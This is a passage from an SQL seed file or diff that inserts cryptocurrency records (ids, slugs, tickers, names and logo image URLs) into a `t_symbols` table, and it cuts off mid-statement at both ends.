'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-virtua-kolect.png', NULL); +INSERT INTO `t_symbols` VALUES (618, 'acoin', 'ACOIN', 'Acoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acoin.png', NULL); +INSERT INTO `t_symbols` VALUES (619, 'nestree', 'EGG', 'Nestree', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nestree.png', NULL); +INSERT INTO `t_symbols` VALUES (620, 'bodhi', 'BOT', 'Bodhi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bodhi.png', NULL); +INSERT INTO `t_symbols` VALUES (621, 'cutcoin', 'CUT', 'CUTcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cutcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (622, 'derace', 'DERC', 'DeRace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/derace.png', NULL); +INSERT INTO `t_symbols` VALUES (623, 'phantasma', 'SOUL', 'Phantasma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phantasma.png', NULL); +INSERT INTO `t_symbols` VALUES (624, 'nimiq-2', 'NIM', 'Nimiq', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nimiq-2.png', NULL); +INSERT INTO `t_symbols` VALUES (625, 'wagerr', 'WGR', 'Wagerr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wagerr.png', NULL); +INSERT INTO `t_symbols` VALUES (626, 'cosplay-token', 'COT', 'Cosplay Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosplay-token.png', NULL); +INSERT INTO `t_symbols` VALUES (627, 'newscrypto-coin', 'NWC', 'Newscrypto Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newscrypto-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (628, 'kpc8', 'KPC8', 'kpc8', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kpc8.png', NULL); +INSERT INTO `t_symbols` VALUES (629, 'solve', 'SOLVE', 'SOLVE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solve.png', NULL); +INSERT INTO `t_symbols` VALUES (630, 'firstblood', '1ST', 'FirstBlood', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firstblood.png', NULL); +INSERT INTO `t_symbols` VALUES (631, 'assemble-protocol', 'ASM', 'Assemble Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/assemble-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (632, 'reddcoin', 'RDD', 'ReddCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reddcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (633, 'handshake', 'HNS', 'Handshake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/handshake.png', NULL); +INSERT INTO `t_symbols` VALUES (634, 'zano', 'ZANO', 'Zano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zano.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (635, 'cannon-capital', 'CAN', 'cannon-capital', NULL, NULL); +INSERT INTO `t_symbols` VALUES (636, 'ooki', 'OOKI', 'Ooki', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ooki.png', NULL); +INSERT INTO `t_symbols` VALUES (637, 'counterparty', 'XCP', 'Counterparty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/counterparty.png', NULL); +INSERT INTO `t_symbols` VALUES (638, 'peercoin', 'PPC', 'Peercoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (639, 'whitecoin', 'XWC', 'Whitecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whitecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (640, 'concentrated-voting-power', 'CVP', 'PowerPool Concentrated Voting Power', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/concentrated-voting-power.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (641, 'byteball', 'GBYTE', 'Obyte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/byteball.png', NULL); +INSERT INTO `t_symbols` VALUES (642, 'dlb', 'DLB', 'Data Link Base', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dlb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (643, 'gensokishi', 'MV', 'GensoKishi Metaverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gensokishi.png', NULL); +INSERT INTO `t_symbols` VALUES (644, 'aurora-near', 'AURORA', 'Aurora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-near.png', NULL); +INSERT INTO `t_symbols` VALUES (645, 'forceprotocol', 'FOR', 'ForTube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/forceprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (646, 'goldfinch', 'GFI', 'Goldfinch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldfinch.png', NULL); +INSERT INTO `t_symbols` VALUES (647, 'bitnautic-token', 'BTNT', 'BitNautic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitnautic-token.png', NULL); +INSERT INTO `t_symbols` VALUES (648, 'levolution', 'LEVL', 'Levolution', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/levolution.png', NULL); +INSERT INTO `t_symbols` VALUES (649, 'random-chain', 'RDC', 'random-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/random-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (650, 'lon', 'LON', 'Tokenlon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lon.png', NULL); +INSERT INTO `t_symbols` VALUES (651, 'gifto', 'GTO', 'Gifto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gifto.png', NULL); +INSERT INTO `t_symbols` VALUES (652, 'bloomzed-token', 'BLCT', 'Bloomzed Loyalty Club Ticket', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloomzed-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (653, 'unicrypt-2', 'UNCX', 'UniCrypt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unicrypt-2.png', NULL); +INSERT INTO `t_symbols` VALUES (654, 'qbtcink', 'QT', 'QT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (655, 'amo', 'AMO', 'AMO Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (656, 'benqi', 'QI', 'BENQI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benqi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (657, 'pressone', 'PRS', 'PressOne', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pressone.png', NULL); +INSERT INTO `t_symbols` VALUES (658, 'numtoken', 'NUM', 'NUM Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/numbers.png', NULL); +INSERT INTO `t_symbols` VALUES (659, 'epic-coin', 'EPIC', 'Epic Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epic-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (660, 'prizm', 'PZM', 'Prizm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PRIZM_eng.jpg', NULL); +INSERT INTO `t_symbols` VALUES (661, 'qtcon', 'QTCON', 'Quiztok', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qtcon.png', NULL); +INSERT INTO `t_symbols` VALUES (662, 'moonx', 'MM', 'MoonX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonx.png', NULL); +INSERT INTO `t_symbols` VALUES (663, 'juventus-fan-token', 'JUV', 'Juventus Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juventus-fan-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (664, 'aioz-network', 'AIOZ', 'AIOZ Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aioz-network.png', NULL); +INSERT INTO `t_symbols` VALUES (665, 'hackenai', 'HAI', 'Hacken HAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hackenai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (666, 'wrapped-ncg', 'WNCG', 'Wrapped NCG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-ncg.png', NULL); +INSERT INTO `t_symbols` VALUES (667, 'shift', 'SHIFT', 'Shift', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shift.png', NULL); +INSERT INTO `t_symbols` VALUES (668, 'aventus', 'AVT', 'Aventus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aventus.png', NULL); +INSERT INTO `t_symbols` VALUES (669, 'oax', 'OAX', 'OAX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oax.png', NULL); +INSERT INTO `t_symbols` VALUES (670, 'babb', 'BAX', 'BABB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/babb.png', NULL); +INSERT INTO `t_symbols` VALUES (671, 'safe-exchange-coin', 'SAFEX', 'Safe Exchange Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-exchange-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (672, 'swftcoin', 'SWFTC', 'SWFTCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swftcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (673, 'marinade-staked-sol', 'MSOL', 'Marinade Staked SOL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marinade-staked-sol.png', NULL); +INSERT INTO `t_symbols` VALUES (674, 'syncfab', 'MFG', 'Smart MFG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syncfab.jpg', NULL); +INSERT INTO `t_symbols` VALUES (675, 'switcheo', 'SWTH', 'Carbon Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/switcheo.png', NULL); +INSERT INTO `t_symbols` VALUES (676, 'starl', 'STARL', 'StarLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starlink.png', NULL); +INSERT INTO `t_symbols` VALUES (677, 'sperax', 'SPA', 'Sperax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sperax.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (678, 'wisdom-chain', 'WDC', 'WorldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wisdom-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (679, 'dx', 'DX', 'DxChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (680, 'prosper', 'PROS', 'Prosper', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prosper.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (681, 'monero-classic', 'XMC', 'Monero-Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (682, 'inverse-finance', 'INV', 'Inverse Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inverse-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (683, 'apex-apex', 'APEX', 'Apex Nodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/apex.png', NULL); +INSERT INTO `t_symbols` VALUES (684, 'arcticcoin', 'ARC', 'Advanced Technology Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcticcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (685, 'viberate', 'VIB', 'Viberate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viberate.png', NULL); +INSERT INTO `t_symbols` VALUES (686, 'ovr', 'OVR', 'Ovr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ovr.png', NULL); +INSERT INTO `t_symbols` VALUES (687, 'kryll', 'KRL', 'KRYLL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kryll.png', NULL); +INSERT INTO `t_symbols` VALUES (688, 'lala-world', 'LALA', 'LALA World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lala-world.png', NULL); +INSERT INTO `t_symbols` VALUES (689, 'adshares', 'ADST', 'AdShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adshares.png', NULL); +INSERT INTO `t_symbols` VALUES (690, 'dimecoin', 'DIME', 'Dimecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dimecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (691, 'mysterium', 'MYST', 'Mysterium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mysterium.png', NULL); +INSERT INTO `t_symbols` VALUES (692, 'zzz-finance', 'ZZZ', 'zzz.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zzz-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (693, 'blockv', 'VEE', 'BLOCKv', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockv.png', NULL); +INSERT INTO `t_symbols` VALUES (694, 'foam', 'FOAM', 'FOAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/foam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (695, 'perlin', 'PERL', 'PERL.eco', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/perlin.png', NULL); +INSERT INTO `t_symbols` VALUES (696, 'bczero', 'BCZERO', 'Buggyra Coin Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bczero.jpg', NULL); +INSERT INTO `t_symbols` VALUES (697, 'radium', 'VAL', 'Vikings Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radium.png', NULL); +INSERT INTO `t_symbols` VALUES (698, 'siaprime-coin', 'SCP', 'ScPrime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siaprime-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (699, 'mixmarvel', 'MIX', 'MixMarvel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mixmarvel.png', NULL); +INSERT INTO `t_symbols` VALUES (700, 'index-cooperative', 'INDEX', 'Index Cooperative', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/index-cooperative.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (701, 'stacktical', 'DSLA', 'DSLA Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stacktical.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (702, 'quantstamp', 'QSP', 'Quantstamp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantstamp.png', NULL); +INSERT INTO `t_symbols` VALUES (703, 'stacs', 'STACS', 'STACS Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stacs.png', NULL); +INSERT INTO `t_symbols` VALUES (704, 'deepbrain-chain', 'DBC', 'DeepBrain Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deepbrain-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (705, 'betprotocol', 'BEPRO', 'BEPRO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (706, 'unification', 'FUND', 'Unification', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unification.png', NULL); +INSERT INTO `t_symbols` VALUES (707, 'dego-finance', 'DEGO', 'Dego Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dego-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (708, 'arcblock', 'ABT', 'Arcblock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcblock.png', NULL); +INSERT INTO `t_symbols` VALUES (709, 'utb', 'UTB', 'utb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (710, 'digital-economic-token', 'DET', 'DET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-economic-token.png', NULL); +INSERT INTO `t_symbols` VALUES (711, 'splintershards', 'SPS', 'Splintershards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/splintershards.png', NULL); +INSERT INTO `t_symbols` VALUES (712, 'ac-milan-fan-token', 'ACM', 'AC Milan Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ac-milan-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (713, 'hedgetrade', 'HEDG', 'HedgeTrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/hedgetrade.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (714, 'derivadao', 'DDX', 'DerivaDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/derivadao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (715, 'qlink', 'QLC', 'Kepple', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qlink.png', NULL); +INSERT INTO `t_symbols` VALUES (716, 'fox-token', 'FOX', 'Shapeshift FOX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fox-token.png', NULL); +INSERT INTO `t_symbols` VALUES (717, 'spacechain', 'SPC', 'SpaceChain (ERC-20)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spacechain.png', NULL); +INSERT INTO `t_symbols` VALUES (718, 'gobal-cash-chain', 'GCC', 'gobal-cash-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (719, 'rupiah-token', 'IDRT', 'Rupiah', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rupiah-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (720, 'startercoin', 'STAC', 'StarterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/startercoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (721, 'icst', 'ICST', 'icst', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icst.jpg', NULL); +INSERT INTO `t_symbols` VALUES (722, 'ondori', 'RSTR', 'Ondori', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ondori.jpg', NULL); +INSERT INTO `t_symbols` VALUES (723, 'lockchain', 'LOC', 'LockTrip', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (724, 'bitcoin-token', 'BTK', 'Bitcoin Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (725, 'crust', 'CRU', 'Crust Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crust.png', NULL); +INSERT INTO `t_symbols` VALUES (726, 'gochain', 'GO', 'GoChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gochain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (727, 'sensorium', 'SENSO', 'SENSO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sensorium.png', NULL); +INSERT INTO `t_symbols` VALUES (728, 'newyork-exchange', 'NYE', 'NewYork Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newyork-exchange.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (729, 'lossless', 'LSS', 'Lossless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lossless.png', NULL); +INSERT INTO `t_symbols` VALUES (730, 'playerone', 'PLO', 'playerone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playerone.png', NULL); +INSERT INTO `t_symbols` VALUES (731, 'decentralized-advertising', 'DAD', 'DAD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-advertising.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (732, 'dip', 'DIP', 'Etherisc DIP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dip.jpg', NULL); +INSERT INTO `t_symbols` VALUES (733, 'anchor-protocol', 'ANC', 'Anchor Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anchor-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (734, 'credit-safe-application-chain', 'CSAC', 'CSAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credit-safe-application-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (735, 'rai-reflex-index', 'RAI', 'Rai Reflex Index', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rai-reflex-index.png', NULL); +INSERT INTO `t_symbols` VALUES (736, 'six', 'SIX', 'SIX Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/theSIXnetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (737, 'pnetwork', 'PNT', 'pNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (738, 'rae-token', 'RAE', 'Receive Access Ecosystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rae-token.png', NULL); +INSERT INTO `t_symbols` VALUES (739, 'eco-value-coin', 'EVC', 'Eco Value Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eco-value-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (740, 'spankchain', 'SPANK', 'SpankChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spankchain.png', NULL); +INSERT INTO `t_symbols` VALUES (741, 'equad', 'EQUAD', 'Quadrant Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/equad.jpg', NULL); +INSERT INTO `t_symbols` VALUES (742, 'infinitus-token', 'INF', 'Infinitus Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinitus-token.png', NULL); +INSERT INTO `t_symbols` VALUES (743, 'library-credit', 'LBC', 'LBRY Credits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/library-credit.png', NULL); +INSERT INTO `t_symbols` VALUES (744, 'plcn', 'PLCN', 'PlusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plcn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (745, 'buying-com', 'BUY', 'Buying.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buying-com.png', NULL); +INSERT INTO `t_symbols` VALUES (746, 'naga', 'NGC', 'NAGA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/naga.png', NULL); +INSERT INTO `t_symbols` VALUES (747, 'fc-barcelona-fan-token', 'BAR', 'FC Barcelona Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fc-barcelona-fan-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (748, 'grin', 'GRIN', 'Grin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grin.png', NULL); +INSERT INTO `t_symbols` VALUES (749, 'fit', 'FIT', 'fit', NULL, NULL); +INSERT INTO `t_symbols` VALUES (750, 'wirex', 'WXT', 'Wirex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/wirex.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (751, 'mon', 'MON', 'mon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (752, 'snowblossom', 'SNOW', 'SnowBlossom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snowblossom.png', NULL); +INSERT INTO `t_symbols` VALUES (753, 'eligma-token', 'GOC', 'GoCrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eligma-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (754, 'hold', 'HOLD', 'HOLD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (755, 'bitcny', 'BITCNY', 'bitCNY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcny.png', NULL); +INSERT INTO `t_symbols` VALUES (756, 'dxdao', 'DXD', 'DXdao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dxdao.png', NULL); +INSERT INTO `t_symbols` VALUES (757, 'sylo', 'SYLO', 'Sylo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sylo.png', NULL); +INSERT INTO `t_symbols` VALUES (758, 'bitrue-coin', 'BTR', 'Bitrue Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrue-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (759, 'women', 'WOMEN', 'WomenCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/women.png', NULL); +INSERT INTO `t_symbols` VALUES (760, 'publish', 'NEWS', 'PUBLISH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/publish.png', NULL); +INSERT INTO `t_symbols` VALUES (761, 'mirror-protocol', 'MIR', 'Mirror Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mirror-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (762, 'bitdice', 'CSNO', 'BitDice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdice.png', NULL); +INSERT INTO `t_symbols` VALUES (763, 'banano', 'BAN', 'Banano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banano.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (764, 'aurory', 'AURY', 'Aurory', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurory.png', NULL); +INSERT INTO `t_symbols` VALUES (765, 'kapital-dao', 'KAP', 'Kapital DAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1414699107214573569.jpg', NULL); +INSERT INTO `t_symbols` VALUES (766, 'bytecoin-bcn', 'BCN', 'Bytecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bytecoin-bcn.png', NULL); +INSERT INTO `t_symbols` VALUES (767, 'colossusxt', 'COLX', 'ColossusXT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/colossusxt.png', NULL); +INSERT INTO `t_symbols` VALUES (768, 'jackpot', '777', 'Jackpot', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jackpot.png', NULL); +INSERT INTO `t_symbols` VALUES (769, 'suku', 'SUKU', 'SUKU', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/suku.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (770, '0chain', 'ZCN', '0chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0chain.png', NULL); +INSERT INTO `t_symbols` VALUES (771, 'vertcoin', 'VTC', 'Vertcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vertcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (772, 'tornado-cash', 'TORN', 'Tornado Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tornado-cash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (773, 'obsr', 'OBSR', 'Observer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/obsr.jpg', NULL); +INSERT INTO `t_symbols` VALUES (774, 'rebelbots', 'RBLS', 'Rebel Bots', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/rebelbots.png', NULL); +INSERT INTO `t_symbols` VALUES (775, 'te-food', 'TONE', 'TE-FOOD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/te-food.png', NULL); +INSERT INTO `t_symbols` VALUES (776, 'super-gold', 'SPG', 'Super Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/super-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (777, 'loki', 'OXEN', 'Oxen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loki.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (778, 'bikan', 'KAN', 'BitKan', 